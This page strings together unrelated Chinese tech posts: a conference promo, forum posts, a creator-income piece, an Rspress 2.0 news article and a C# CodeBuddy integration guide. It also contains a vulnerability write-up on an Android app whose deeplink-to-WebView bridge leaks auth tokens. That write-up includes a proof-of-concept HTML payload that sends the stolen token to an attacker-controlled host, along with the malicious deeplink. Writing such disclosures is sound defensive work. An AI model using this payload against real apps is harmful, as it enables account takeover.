  1. 大模型与传统搜推深度结合:精排、召回、多模态训练等;

  2. 生成式技术演进与落地:RQ-VAE 等实践、G-E 生成式混排在搜推中的落地;

  3. AI 搜推面向千问场景的业务接入及迭代优化。

听众收益

  1. 大模型能力在搜推全链路落地的算法与工程范式;

  2. 生成式搜推(HSTU / RQ-VAE / G-E)从论文到生产的完整落地参考;

  3. 面向 AI 时代,传统搜推与 AI 之间的结合。

除此之外,本次大会还策划了Agentic Engineering多模态理解与生成的突破记忆觉醒:智能体记忆系统的范式重塑与产业落地具身智能与物理世界交互Agent Infra 架构设计AI 重塑数据生产与消费AI 原生基础设施AI 驱动的技术债治理小模型与领域适配模型大模型算力优化Agent 可观测性与评估工程AI for SRE等 20 多个专题论坛,届时将有来自不同行业、不同领域、不同企业的 100+资深专家在 QCon 北京站现场带来前沿技术洞察和一线实践经验。

大会售票 8 折倒计时最后一周,更多详情可扫码或联系票务经理 18514549229 进行咨询。

最近 OpenClaw 火得一塌糊涂,尤其在自媒体铺天盖地的安利下,很多非 IT 行业的人都开始想养一只龙虾。

个人理解

OpenClaw 和此前的豆包手机,本质上做的是同一件事——用 AI 帮用户自动完成任务。具体来说,它们通常是在设备本地(或结合云端)运行一个大语言模型,这个模型能调用各种插件;而这些插件,本质上是对各类 App 功能的封装,使得 AI 可以“操作”应用,比如发消息、查日程、下单等。
其实,这和 iOS 的快捷指令在底层逻辑上非常相似:都是依赖 APP 主动暴露的 API ,再通过某种方式(脚本、自然语言、图形化流程)组合这些能力,实现自动化。区别在于,快捷指令需要用户手动搭建流程,而 OpenClaw 这类工具试图用自然语言 + AI 推理来自动完成任务规划与执行。
所以我就有点困惑:既然原理并不新鲜,为什么龙虾突然爆火?是因为 AI 表达更拟人、体验更无缝,还是说大多数人其实只是被短视频带节奏,盲目跟风?

谈论话题

  1. 龙虾真实落地的业务场景?
  2. 消耗的 token 是否和产出成正比?

0x00 技术综述

在现代 Android 混合开发 (Hybrid App) 中,应用通常会通过注册自定义 URL Scheme 的方式实现从 Web 端或第三方应用直接调起内部业务。如果开发者对外部输入的 Intent 数据处理不当,特别是在其作为 WebView 加载源时未进行严格的域校验,将导致敏感业务逻辑被外部劫持,进而演化为沙箱内任意文件读取或敏感数据(如认证凭证)泄露。

本文将通过对某智慧生活类 APP(以下代称 TargetApp)的深度分析,展示如何利用其组件导出及不安全的 WebView 交互实现远程 Token 窃取。

0x01 技术背景与核心概念

在深入分析该漏洞之前,有必要了解 Android 应用架构中几个关键的安全机制:

1. Android 组件 (Components) 与导出属性 (Exported)

Android 应用由四大核心组件构成:Activity (界面)、Service (后台服务)、Broadcast Receiver (广播接收器) 和 Content Provider (内容提供者)。每一个组件在 AndroidManifest.xml 中声明。

  • android:exported: 该属性决定了组件是否可以被应用外部的组件启动。


    • false: 表示该组件仅限应用自身或具有相同 UID 的应用访问(私有组件)。
    • true: 表示该组件可以被系统中任何其他应用拉起(导出组件)。如果由于业务需求必须设置为 true,则需要额外的权限保护或数据校验。

2. Intent 机制与 Intent Filter

Intent 是 Android 应用内部及应用间进行消息传递的核心机制。

android_security_components_diagram.png

  • 显式 Intent (Explicit Intent): 明确指定了目标组件的类名。安全性高。
  • 隐式 Intent (Implicit Intent): 不指定类名,仅通过 Action 或 Data 进行模糊匹配。Schema 调起主要依赖于隐式 Intent。
  • BROWSABLE: 这是一个关键的 Category 属性。如果一个 Intent Filter 包含 CATEGORY_BROWSABLE,意味着它允许被系统浏览器中的网页跳转直接触发。

3. DeepLink 与 Scheme 机制

DeepLink(深度链接)允许应用注册一个自定义的协议头(如 myapp://)。当系统收到这种 URI 请求时,会查找到注册了对应 Scheme 的应用并将其拉起。这种机制极大地提升了用户体验,但也引入了不可信数据输入的风险。如果应用在拉起后直接使用 URI 中的参数而不进行白名单校验,就会产生“重定向”风险。

4. WebView 与 JavascriptInterface (Hybrid 安全模型)

为了同时拥有 Web 的灵活性和 Native 的高性能,许多应用采用混合开发。

  • addJavascriptInterface: 该方法允许开发者将一个 Java 对象映射到 WebView 的 JavaScript 环境中。
  • 安全加固与 @JavascriptInterface: 在 Android 4.2 (API 17) 之前,暴露给 JS 的 Java 对象的所有公共方法都可以被反射调用,存在严重的远程代码执行 (RCE) 风险。此后,系统要求必须在方法上显式标记 @JavascriptInterface 注解,JS 才能调用。
  • 逻辑风险: 虽然反射攻击被堵住,但业务逻辑泄露依然存在。如果开发者将敏感的 Token 获取方法标记了该注解,并在 WebView 加载攻击者控制页面时未进行 URL 过滤,攻击者依然可以通过合法调用泄露用户隐私。
    • *

0x02 暴露面与边界信任风险评估 (Exposure & Boundary Trust Assessment)

在移动安全评估中,外部攻击面的核心在于“可被外界直接触达的接口”。对于 TargetApp 而言,其最显著的暴露面在于 Manifest 中声明的导出 Activity。

2.1 导出组件暴露性深度评估

通过反编译配置,我们锁定了一个承担业务分发职责的核心组件:SchemaProxyActivity

1.png

关键属性详细审计:

  1. Visibility (android:exported="true"): 该组件被明确标记为外部可见且未声明任何 android:permission 保护。这意味着系统中任何具有 INTERNET 权限的第三方恶意应用(恶意 App)均可直接构造 Intent 唤起该组件。
  2. Access Category (BROWSABLE): 包含 android.intent.category.BROWSABLE 属性。这是一种极高风险的配置,它将应用的攻击面从本地应用间通信(IPC)直接扩展到了全球互联网。攻击者只需通过社会工程学手段诱导受害者点击一个经过特殊构造的链接(如网页中的 <a> 标签),即可实现远程控制流劫持。
  3. LaunchMode (singleTask): 该组件采用 singleTask 启动模式。在安全视角下,这意味着该 Activity 承担了“分发器”的角色。如果该组件已在运行,新的攻击 Intent 会通过 onNewIntent 方法注入。如果开发者在处理 onNewIntent 时未进行严格的数据源校验,将导致持续性的攻击风险。
  4. UI Appearance (Theme.Translucent): 该组件使用了透明主题。这意味着在恶意跳转发生时,用户可能完全察觉不到应用曾被拉起过(瞬时跳转至下一级页面),极大地提高了攻击的隐蔽性。

2.2 Intent 过滤器 (Intent Filter) 数据解析分析

该组件配置了多组自定义协议映射,其中最核心的攻击向量如下:

<activity android:name\="com.xxx.lib.common.view.activity.SchemaProxyActivity" ...\>  
    <intent-filter\>  
        <action android:name\="android.intent.action.VIEW"/>  
        <category android:name\="android.intent.category.DEFAULT"/>  
        <category android:name\="android.intent.category.BROWSABLE"/>  
        <data android:scheme\="target\_app\_scheme"/> <!-- 自定义伪私有协议 -->  
    </intent-filter\>  
</activity\>

协议设计缺陷分析:

  • 缺乏域收敛 (Domain Restriction): 开发者仅定义了 scheme,而未通过 android:hostandroid:path 对数据源进行约束。这导致该协议成为了一个“全通权限”的入口,任何遵循该协议格式的 URI 都会被盲目接收。
  • 私有 Action 风险: 观察到还定义了 com.xxx.android.scheme 这种自定义 Action。这类 Action 往往涉及底层的业务逻辑分发,且通常缺乏标准化的安全过滤机制,是寻找越权操作的重点对象。
    • *

0x03 调用链深度追踪 (Implementation Analysis)

3.1 逻辑分发层:Intent 重定向漏洞

SchemaProxyActivity 的逻辑入口处,应用对传入的 Uri 数据进行了解析。源码逻辑(sources/com/xxx/lib/module/g.java)显示:

public final void dispatchUri(Activity activity, Uri uri) {  
    if (uri \== null) return;  
    String authority \= uri.getAuthority();  
      
    // 权限与路径解析  
    if (kotlin.jvm.internal.x.b(authority, "openurl")) {  
        // \[漏洞点A\]:直接获取名为 "url" 的参数  
        String rawUrl \= uri.getQueryParameter("url");  
        if (android.text.TextUtils.isEmpty(rawUrl)) return;  
          
        String decodedUrl \= Uri.decode(rawUrl);  
        // \[漏洞点B\]:未对 decodedUrl 进行任何白名单过滤或域校验  
        // 直接将其作为目标地址启动 WebView 容器  
        launchInternalWebView(activity, decodedUrl);  
    }  
}

缺陷分析: 上述代码存在典型的 Intent Redirection(Intent 重定向) 缺陷。应用将外部可控的参数 url 直接信任并透传给内部的高效组件(WebView),从而允许外部攻击者通过此跳转进入受限的应用内部环境。


0x04 核心载荷分析:WebView 桥接风险 (Native Bridge Attack)

4.1 注入接口的敏感权限

当攻击者构造的恶意 URL 被加载后,受害应用的 WebActivity 会初始化其业务桥接接口。 在 ProgressWebView.java 中,我们观察到如下配置:

3.png

// 危险配置:暴露 Java 接口至 JS 执行环境  
this.mWebView.addJavascriptInterface(new NativeInterface(context), "bridgeObject");  
​  
// 危险配置:开启通用的跨源策略,允许跨文件域操作  
this.mWebView.getSettings().setAllowUniversalAccessFromFileURLs(true);

4.2 敏感方法评估与凭证持久化风险

通过对注入的 NativeInterface(逻辑位置:sources/d3/h.java)进行反汇编,发现其标注了 @JavascriptInterface 的方法中包含直接返回敏感凭证的操作:

@JavascriptInterface  
public final String sendScoreAndToken() {  
    // 逻辑缺陷:未校验调用源 URL,直接从全局上下文读取 Token  
    LoginData account \= App.getInstance().getAccountManager().getLoginData();  
    String token \= (account != null) ? account.getToken() : "";  
      
    // 构造 JSON 返回给 JavaScript 环境  
    return String.format("{\\"token\\":\\"%s\\", \\"score\\":%d}", token, account.getScore());  
}

深度分析与危害评估:

  1. 凭证等效性:在该应用的业务逻辑中,返回的 token 通常作为 HTTP 请求头(如 AuthorizationX-Auth-Token)用于身份验证。其危害级别等同于传统的 HTTP Session Cookie。
  2. 跨站脚本攻击 (XSS) 延伸:由于 WebView 开启了 setJavaScriptEnabled(true) 且未对加载域名进行白名单限制,攻击者可以通过 DeepLink 强迫应用加载恶意页面。恶意页面中的脚本可直接调取上述接口,实现“零交互”式的 Token 窃取。
  3. Cookie 持久化风险:虽然该接口直接返回 Token,但通过开启的 setAllowUniversalAccessFromFileURLs(true),攻击者理论上可以通过 XHR 加载 file:// 协议读取应用私有目录下的 WebView 数据库(如 webviewCookiesChromium.db),从而获取受 HttpOnly 保护的传统 Cookie。




0x05 漏洞复现证明 (PoC Implementation)

5.1 构造复现页面

攻击者在远程服务器部署如下 HTML (poc.html),用于触发漏洞并窃取凭证:

<html\>  
<head\>  
    <meta charset\="UTF-8"\>  
    <title\>优惠领取</title\>  
</head\>  
<body\>  
    <script\>  
        function startExploit() {  
            try {  
                // 调用导出的 Java 接口  
                if (window.harmonyAndroidScore) {  
                    var data \= window.harmonyAndroidScore.sendScoreAndToken();  
                      
                    // 将敏感数据外传至攻击者服务器  
                    var xhr \= new XMLHttpRequest();  
                    xhr.open("GET", "http://attacker-controlled.site/log?data=" + encodeURIComponent(data), true);  
                    xhr.send();  
                      
                    alert("检测到敏感凭证泄露: " + data);  
                }  
            } catch (e) { console.error(e); }  
        }  
        // 延迟执行确保 Native 接口注入完成  
        setTimeout(startExploit, 1000);  
    </script\>  
</body\>  
</html\>

5.2 触发链条

诱导受害者点击如下恶意链接即可触发自动化攻击流: ilife798://openurl?url=http://attacker-controlled.site/poc.html

deeplink_webview_attack_flow.png

5.3 复现结果证明

在测试环境(ADB 连接状态)下执行上述 Payload,攻击者服务器成功捕获到由应用内部接口返回的 JSON 数据:

53941675bc0c002e12518e9cfc3b2833.jpg

{  
  "token": "be\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*f5c",  
  "score": "0"  
}

结论证明:该 Token 可直接用于替换 HTTP 请求头,从而实现对目标用户账户的完全劫持。


0x06 防御方案 (Remediation)

1. 强化 Intent 参数校验

在分发层加入严格的 URL 白名单校验逻辑。

public boolean isTrustedUrl(String url) {  
    Uri uri \= Uri.parse(url);  
    String host \= uri.getHost();  
    // 仅允许官方受信任域名  
    return host != null && host.endsWith(".official-domain.com");  
}

2. WebView 交互域隔离

bridgeObject 的关键方法中,应增加对当前加载 URL 的二次验证:

@JavascriptInterface  
public final String sendScoreAndToken() {  
    String currentUrl \= mWebView.getUrl();  
    if (!verifyOrigin(currentUrl)) {  
        return "{\\"error\\":\\"unauthorized\_origin\\"}";  
    }  
    // 返回正常逻辑  
}

3. 系统配置加固

  • 设置 android:allowBackup="false"
  • 将内部分发 Activity 权限设置为 android:protectionLevel="signature" 或关闭导出属性。
    • *

结论: 本案例展示了组件导出与逻辑分发缺陷如何转化成严重的敏感信息劫持漏洞。开发者应高度重视跨边界数据流的过滤与 WebView 环境的权限隔离。


免责声明: 相关技术细节已反馈至有关部门。本文仅供学术研讨,严禁用于实际非法攻击。

早上来上班路上,突然想着把各个平台自媒体变现的经验分享给大家,一到工位就开始写了

1:B 站
主要是创作激励(小头)+官方各种现金奖励活动(小头)+接广(广告)。
其中主要还是广告,官方激励不多,等你到了 1k 粉后即可开通花火,然后填入报价,就会有各种广告 PR (商务中介)来找你,你也可以把联系信息放在简介( b 站允许)。
广告形式一般分为两种:
- 植入:大部分接的也是植入。植入分为两种计价方式,一口价(妙洁、转转、拼多多等),部分有播放量要求,不够反款或者补发;二就是按播放量计算(得物、闲鱼等),一般万播在 100-150 之间,根据对接你的 PR 为准,
- 定制:基于你的报价来。

大部分普通赛道只能接上面的这些没什么要求的广告,如果想赚定制广告的钱,就得去变现非常强的赛道(科技、数码、汽车等)。

2:抖音
伙伴计划(大头)、合集升级计划(蚊子腿)、广告分成(蚊子腿)。
抖音流量大,且有钱,所以是按照播放量给钱,比起 b 站激励多了很多,但是缺点也很明显,平台商业化非常完善和创作者太多,不需要我们这些小博主打广告,我基本上没有做抖音接过广告,偶尔有些,但是也不符合我的账号赛道。
抖音一般是万播做 5-10 块钱左右,比如获利播放量是 300w ,那么大概就有 1k5 左右的收益。

3:小红书
我小红书目前基本上没有咋变现,就买了几本书,几块钱,这可能也跟平台调性相关,如果你做的是女性赛道,且有物品展示位置,那么变现可太容易了,1w 粉丝,就能月入过万都不是问题,我都快 8w 粉丝了,也没啥广告找我,小红书真的是非常非常看赛道的一个平台。

4:快手
目前我只要一个磁力万和(也是蚊子腿),基本上跟抖音的广告分成差不多,不多,你就当快手给你存了一笔 5w 块钱的余额宝,每天差不多 10 块钱左右(可能还是根据播放量来的,反正很少)。

基本上我目前了解到的变现渠道就是这些了,单纯做知识分享的话,其实能接的广告很少很少,都是一些没啥要求的,所以,如果想快速变现,选择合适的平台,去做合适的赛道,还是有搞头的。

我感觉自媒体目前还是有机会的,特别是 AI 时代,极大地提高了我们一个人的产出能力和效率,曾经需要一个团队才能做的,一个人也能搞定。

我开始做自媒体也单纯只是抱分享自己思考经验的形式,发视频只是为了记录,输出我的思考,至于有没有人看,那就是另外一回事了。

如果单纯抱着赚钱的心态,肯定会焦虑流量,但抱着分享成长的心态,自我收获肯定是有,那么自然就会越来越得心应手,甚至一个评论,一个点赞都会让你开心不已,而我们只需要等待平台算法选中我们的那天即可(运气)。

共勉吧,朋友,多去尝试总是有的,做自媒体一点要持续输出+持续迭代,迭代很重要,很重要!!!

Rspress 是一款基于 Rsbuild、专为开发者文档打造的静态站点生成器,现已正式发布 2.0 版本,带来了主题设计、构建性能、AI 集成及开发者体验等方面的全面升级。该版本于 2026 年 1 月 30 日发布,在 1.x 版本周期内历经 144 次迭代,共有 125 位开发者参与贡献。

Rspress 2.0 引入了由设计师 Zovn Wei 重新设计的默认主题,提供四级自定义能力。开发者可通过调整 CSS 变量快速定制主题,借助 BEM 类名精确覆盖样式,通过 ESM 导出替换单个组件,或完全弹出组件以获得完整控制权。采用 BEM 方案是经过深思熟虑的选择,旨在与特定 CSS 框架解耦,让团队可自由使用 TailwindLessSass,无需担心版本冲突。

其中一项更具前瞻性的新增功能是静态站点生成 Markdown(SSG‑MD)特性。这是一种全新的渲染模式,可从文档站点生成 Markdown 文件与 llms.txt 输出。不同于将 HTML 转换回 Markdown(效果通常不佳),SSG‑MD 通过 React 虚拟 DOM 渲染内容,生成适合 AI 智能体使用的高质量 Markdown。启用该功能仅需一行配置:

import { defineConfig } from '@rspress/core';

export default defineConfig({

   llms: true,

});

构建性能通过两项默认启用的功能得到显著提升:懒编译与持久化缓存。借助懒编译,开发过程中仅在访问页面时才进行编译;根据 Rspress 团队在 GitHub 上公布的基准测试,冷启动时间从数秒缩短至最低 50 毫秒。路由预加载策略会在链接悬停时触发编译,确保导航流畅。持久化缓存可复用历史编译结果,将后续构建速度提升 30% 至 60%。

代码高亮已从 Prism 默认切换为 Shiki,语法高亮在构建时执行,而非运行时。这带来了与 VS Code 一致、基于 TextMate 语法的精准高亮,支持按需加载语言且无运行时开销,同时支持自定义转换器(例如用于内联类型提示的 twoslash)。

本次发布还对包结构进行了整合,包括 rspress、@rspress/runtime、@rspress/shared 和 @rspress/theme-default 在内的多个包已合并为单一的 @rspress/core 包。

新版本发布后收获了积极反馈,一位用户在 r/Rspack 子版块评论道:

很高兴看到这类工具的出现!祝贺发布!

用于追踪重大变更的 GitHub 讨论帖收获了积极互动,共 26 条评论、19 条回复,内容涵盖从 Shiki 配置到 React Router 兼容性等迁移细节。

DocusaurusVitePress 等同类工具相比,Rspress 的核心差异化优势在于基于 Rspack 的构建速度及其 AI 原生能力。Docusaurus 官方也认可 Rspress 凭借现代化的底层架构实现了更快的站点构建,同时也指出自身在成熟度与社区规模上的优势。VitePress 仍是 Vue 项目的首选,而 Rspress 则主打 React 生态。

Rspress 2.0 要求 Node.js 20 及以上版本,支持 React 18 和 19。基于 Rust 的 MDX 解析器(@rspress/mdx-rs)已被弃用,转而采用 JavaScript MDX 解析器,以牺牲部分原始编译速度为代价,换取与 Shiki、自定义 remark 和 rehype 插件等工具更好的生态兼容性。从 1.x 升级的团队可参考详细的迁移指南

Rspress 是一款基于 RsbuildRspack 的开源静态站点生成器,属于 Rstack JavaScript 工具链的一部分。它专为构建支持 MDX、约定式路由与组件库预览的文档站点设计,可与 Rslib 集成,用于组件库文档工作流。

原文链接:

https://www.infoq.com/news/2026/03/rspress-docs-2-release/

服啦,一大早我那可爱的领导,就开始对着我巴巴拉拉、巴拉巴拉小魔仙老生常谈的话,AI 焦虑传递半小时,还不听我说话,我给的答案都不行。这也不行,那也不行。我说您提的这些要求,我就是这么做的呀,现在那个新产品我就是这么做的。举例一二三,然后他不说话,用表请说不是这么个事儿,你不懂我。是啊我不懂,我真不懂。

说团队两三个月一个迭代还是太慢了。我说好的,迭代速度我再想想办法(内心 OS:我想什么办法我想办法,我就一没有什么实权的虚线产品经理,我能想什么办法,你研发自己都使唤不动我能有什么办法)

就最后直勾勾盯着我,表达不满,表达焦虑。最后收尾就是经典的结束语:说以上这些你可能要消化一下,你先回去,之后再找你聊。我说行那我回去再研究研究。。。
我研究啥啊我。。。AI 焦虑传递工作已经持续一年了,每次都是一样的话,啊不是啊你这啊我这。

我自己在探索,自己在跟进,自己在追踪新技术,那我做的这些、我的思考能拿到公司吗?不能。
假设我真的愿意给,领导愿意要吗?必然不能。
说啥啊说,我真服了,真是纯纯能量黑洞啊,一大早就给我一脚踹进去。。。

以后要是真的出去找工作,我就要写一个个人技能:心理按摩师,领导找我巴巴拉拉倾倒垃圾之后,就可以生龙活虎 容光焕发 笑容满面地去接待其他人了,心情都肉眼可见地好了,都能自信地大笑了。。。
恨海涛天了我。

公司一直在裁员,之前还想着打不了换一家继续做,但是这两天,看各种论坛发现工作特别难找。尤其是前端甚至是有些公司都解散了。

突然变的好焦虑。不知道接下来要感谢什么了。

作为一个普通程序员,只能坐等被优化替代么,有什么方式来改变自己以应对这种变化呢

C# 后端集成 CodeBuddy CLI 实战指南

本文将详细介绍如何在 C# 后端项目中集成 CodeBuddy CLI,实现 AI 编程助手能力的完整方案。

背景

在现代 AI 代码助手开发中,单一 AI Provider 往往无法满足复杂多变的开发场景。这就像,人生路远,总不能只认一个方向吧?HagiCode 作为一款多功能 AI 编程助手,需要支持多种 AI Provider 以提供更好的用户体验。毕竟,用户的选择权还是要给够的。在 2026 年初,项目面临一个关键决策:如何在 C# 后端中恢复 CodeBuddy 的 ACP(Agent Communication Protocol)集成能力。

此前项目中曾实现过 CodeBuddy 对接,但相关代码在一次重构中被移除了。其实也没什么好抱怨的,代码迭代嘛,总有东西要被遗忘。本次技术方案的目标是完整恢复这一能力,并优化架构使其更加健壮和可维护。

如果你也在考虑为自己的项目接入多种 AI 编程助手,下面的方案或许能给你一些启发——这可是我们踩了无数坑之后总结出来的经验。或许能让你少走点弯路,也算是我做过的一点好事吧。

关于 HagiCode

本文分享的方案来自我们在 HagiCode 项目中的实践经验。HagiCode 是一个开源的 AI 代码助手项目,支持多种 AI Provider 和跨平台运行。为了满足不同用户的偏好,我们需要能够灵活切换各种 AI 编程助手,这就有了本文要介绍的 CodeBuddy 集成方案。

HagiCode 采用模块化设计,AI Provider 作为可插拔的组件,这种架构让我们可以轻松添加新的 AI 支持,而不影响现有功能。这也罢了,设计这种东西,当初做得好,后面省心不少。如果你对我们的技术架构感兴趣,可以在 GitHub 上查看完整源码。

架构设计

分层架构概览

C# 与 CodeBuddy 的对接采用清晰的分层架构,这种设计让代码职责分明,后期维护起来也更加方便:

┌─────────────────────────────────────────────┐
│           Provider 契约层                    │
│   AIProviderType 枚举 + 扩展方法             │
├─────────────────────────────────────────────┤
│           Provider 工厂层                    │
│   AIProviderFactory 依赖注入工厂             │
├─────────────────────────────────────────────┤
│           Provider 实现层                    │
│   CodebuddyCliProvider 具体实现              │
├─────────────────────────────────────────────┤
│           ACP 基础设施层                     │
│  ACPSessionManager / StdioAcpTransport      │
│  AcpRpcClient / AcpAgentClient              │
└─────────────────────────────────────────────┘

这种分层的好处是什么呢?简单说就是各层之间互不打扰。假设以后要换一种通信方式(比如从 stdio 改成 WebSocket),你只需要改最下面那一层,上面的业务代码完全不用动。毕竟,谁也不想牵一发而动全身,改个通信方式还要改半天业务代码,那也太惨了。

核心组件解析

Provider 契约层 是整个架构的基石。我们定义了 AIProviderType 枚举,其中 CodebuddyCli = 3 作为枚举值,通过扩展方法实现字符串与枚举的双向映射。这样配置文件中的字符串可以很方便地转成枚举,调试时枚举也能转成字符串输出。这也罢了,其实就是个映射关系,但做好了就是省心。

Provider 工厂层 负责根据配置创建对应的 Provider 实例。这里使用了 .NET 的依赖注入机制,配合 ActivatorUtilities.CreateInstance 实现动态创建。工厂模式的好处在于,新增一个 Provider 时只需要添加创建逻辑,不用修改已有的代码。这和写文章差不多,想加个新章节,就加个新章节,不用把前面的都重写一遍。

Provider 实现层 是真正干活的地方。CodebuddyCliProvider 实现了 IAIProvider 接口,提供 ExecuteAsync(非流式)和 StreamAsync(流式)两种调用方式。

ACP 基础设施层 则是通信的底层支撑。这一层处理所有的协议细节,包括进程管理、消息序列化、响应解析等。就像房子的地基,上面盖得再漂亮,底下的东西得稳才行。

通信机制

Stdio 传输模式

CodeBuddy 使用 Stdio(标准输入输出) 方式与外部进程通信。启动命令很简单:

codebuddy --acp

然后通过标准输入输出进行 JSON-RPC 消息交换。这种方式的优势在于:

  1. 启动迅速:本地进程通信没有网络延迟
  2. 配置简单:只需要指定可执行文件路径
  3. 环境隔离:每个会话独立进程,互不影响

通信过程中支持环境变量注入,常用的包括:

  • CODEBUDDY_API_KEY:API 密钥认证
  • CODEBUDDY_INTERNET_ENVIRONMENT:网络环境配置

这就像,人与人之间的沟通,找个方便的方式,才能说得上话。

消息协议

ACP 基于 JSON-RPC 2.0 协议,消息格式大概是酱紫的:

// 请求消息
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "agent/prompt",
  "params": {
    "prompt": "帮我写一个排序算法",
    "sessionId": "session-123"
  }
}

// 响应消息
{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "content": "这里是 AI 的回复..."
  }
}

实际实现中,我们把这些协议细节都封装好了,上层业务代码只需要关注 prompt 和 response 就行。这也罢了,封装得好,后面的人用起来就舒服点。

核心实现

1. Provider 契约恢复

首先在枚举文件中恢复 CodeBuddy 类型:

// PCode.Models/AIProviderType.cs
public enum AIProviderType
{
    ClaudeCodeCli = 0,
    CodexCli = 1,
    GitHubCopilot = 2,
    CodebuddyCli = 3,  // 恢复这个枚举值
    OpenCodeCli = 4,
    IFlowCli = 5,
}

然后在扩展方法中添加字符串映射,这样配置文件就可以用字符串指定 Provider:

// AIProviderTypeExtensions.cs
private static readonly Dictionary<string, AIProviderType> _typeMap = new(
    StringComparer.OrdinalIgnoreCase)
{
    ["CodebuddyCli"] = AIProviderType.CodebuddyCli,
    ["Codebuddy"] = AIProviderType.CodebuddyCli,
    ["codebuddy"] = AIProviderType.CodebuddyCli,
    // ... 其他 provider 的映射
};

2. Provider 工厂集成

在工厂类中添加 CodeBuddy 的创建分支:

// AIProviderFactory.cs
private IAIProvider? CreateProvider(AIProviderType providerType, ProviderConfiguration config)
{
    return providerType switch
    {
        AIProviderType.CodebuddyCli =>
            ActivatorUtilities.CreateInstance<CodebuddyCliProvider>(
                _serviceProvider,
                Options.Create(config)),
        // ... 其他 provider
        _ => throw new NotSupportedException($"Provider {providerType} not supported")
    };
}

这里用了依赖注入的 ActivatorUtilities,它会自动处理构造函数的参数注入,非常方便。这也罢了,.NET 的东西,用对了就是省心。

3. 完整的 Provider 实现

下面是 CodebuddyCliProvider 的核心实现,包含了流式和非流式两种调用方式:

public class CodebuddyCliProvider : IAIProvider
{
    private readonly ILogger<CodebuddyCliProvider> _logger;
    private readonly IACPSessionManager _sessionManager;
    private readonly ProviderConfiguration _config;

    public string Name => "CodebuddyCli";
    public bool SupportsStreaming => true;
    public ProviderCapabilities Capabilities { get; }

    public CodebuddyCliProvider(
        ILogger<CodebuddyCliProvider> logger,
        IACPSessionManager sessionManager,
        IOptions<ProviderConfiguration> config)
    {
        _logger = logger;
        _sessionManager = sessionManager;
        _config = config.Value;

        // 定义当前 Provider 的能力
        Capabilities = new ProviderCapabilities
        {
            SupportsStreaming = true,
            SupportsTools = true,
            SupportsSystemMessages = true,
            SupportsArtifacts = false,
            MaxTokens = 8192
        };
    }

    // 非流式调用:等所有结果一起返回
    public async Task<AIResponse> ExecuteAsync(
        AIRequest request,
        CancellationToken cancellationToken = default)
    {
        // 为请求创建独立会话
        var session = await _sessionManager.CreateSessionAsync(
            "CodebuddyCli",
            request.WorkingDirectory,
            cancellationToken,
            request.SessionId);

        try
        {
            var fullPrompt = BuildPrompt(request);
            await session.SendPromptAsync(fullPrompt, cancellationToken);

            var responseBuilder = new StringBuilder();
            var toolCalls = new List<AIToolCall>();

            // 收集所有响应块
            await foreach (var chunk in StreamFromSession(session, cancellationToken))
            {
                if (!string.IsNullOrEmpty(chunk.Content))
                {
                    responseBuilder.Append(chunk.Content);
                }
                // 处理工具调用...
            }

            return new AIResponse
            {
                Content = AIResultContentSanitizer.SanitizeResultContent(
                    responseBuilder.ToString()),
                ToolCalls = toolCalls,
                Provider = Name,
                Model = string.Empty
            };
        }
        finally
        {
            // 释放会话资源
            await session.DisposeAsync();
        }
    }

    // 流式调用:实时返回响应块
    public async IAsyncEnumerable<AIStreamingChunk> StreamAsync(
        AIRequest request,
        [EnumeratorCancellation] CancellationToken cancellationToken = default)
    {
        var session = await _sessionManager.CreateSessionAsync(
            "CodebuddyCli",
            request.WorkingDirectory,
            cancellationToken);

        try
        {
            var fullPrompt = BuildPrompt(request);
            await session.SendPromptAsync(fullPrompt, cancellationToken);

            await foreach (var chunk in StreamFromSession(session, cancellationToken))
            {
                yield return chunk;
            }
        }
        finally
        {
            await session.DisposeAsync();
        }
    }

    private async IAsyncEnumerable<AIStreamingChunk> StreamFromSession(
        IACPSession session,
        [EnumeratorCancellation] CancellationToken cancellationToken)
    {
        // 遍历会话中的所有更新
        await foreach (var notification in session.ReceiveUpdatesAsync(cancellationToken))
        {
            switch (notification.Update)
            {
                case AgentMessageChunkSessionUpdate agentMessage:
                    // 处理文本内容块
                    if (agentMessage.Content is AcpImp.TextContentBlock textContent)
                    {
                        yield return new AIStreamingChunk
                        {
                            Content = textContent.Text,
                            Type = StreamingChunkType.ContentDelta,
                            IsComplete = false
                        };
                    }
                    break;

                case ToolCallSessionUpdate toolCall:
                    // 处理工具调用
                    yield return new AIStreamingChunk
                    {
                        Content = string.Empty,
                        Type = StreamingChunkType.ToolCallDelta,
                        ToolCallDelta = new AIToolCallDelta
                        {
                            Id = toolCall.ToolCallId,
                            Name = toolCall.Kind.ToString(),
                            Arguments = toolCall.RawInput?.ToString()
                        }
                    };
                    break;

                case AcpImp.PromptCompletedSessionUpdate:
                    // 响应完成
                    yield break;
            }
        }
    }

    // 构建完整的提示词
    private string BuildPrompt(AIRequest request, string? embeddedCommandPrompt = null)
    {
        var sb = new StringBuilder();

        // 嵌入命令提示词(如果有)
        if (!string.IsNullOrEmpty(embeddedCommandPrompt))
        {
            sb.AppendLine(embeddedCommandPrompt);
            sb.AppendLine();
        }

        // 系统消息
        if (!string.IsNullOrEmpty(request.SystemMessage))
        {
            sb.AppendLine(request.SystemMessage);
            sb.AppendLine();
        }

        // 用户 prompt
        sb.Append(request.Prompt);
        return sb.ToString();
    }
}

这段代码有几个关键点:

  1. 会话管理:每个请求创建独立会话,请求完成后释放资源。这是坑踩出来的经验——如果会话复用做得不好,很容易出现状态污染的问题。毕竟,用过就得收拾干净,不然下次用的人就麻烦了。
  2. 流式处理IAsyncEnumerable 让响应可以边生成边返回,不用等全部内容生成完。这对于长文本场景特别重要,用户体验会好很多。就像,等结果的人也不想一直干等着不是。
  3. 工具调用:CodeBuddy 支持工具调用(Function Calling),通过 ToolCallSessionUpdate 处理。这个能力对于复杂的代码编辑任务很关键。
  4. 内容过滤:使用 AIResultContentSanitizer 过滤 Think 块内容,保持输出干净。

4. 依赖注入配置

在模块注册中添加相关服务:

// PCodeClaudeHelperModule.cs
public void ConfigureModule(IServiceCollection context)
{
    // 注册 Provider
    context.Services.AddTransient<CodebuddyCliProvider>();

    // 注册 ACP 基础设施
    context.Services.AddSingleton<IACPSessionManager, ACPSessionManager>();
    context.Services.AddSingleton<IAcpPlatformConfigurationResolver, AcpPlatformConfigurationResolver>();
    context.Services.AddSingleton<IAIRequestToAcpMapper, AIRequestToAcpMapper>();
    context.Services.AddSingleton<IAcpToAIResponseMapper, AcpToAIResponseMapper>();
}

配置示例

配置文件

appsettings.json 中添加 CodeBuddy 相关配置:

AI:
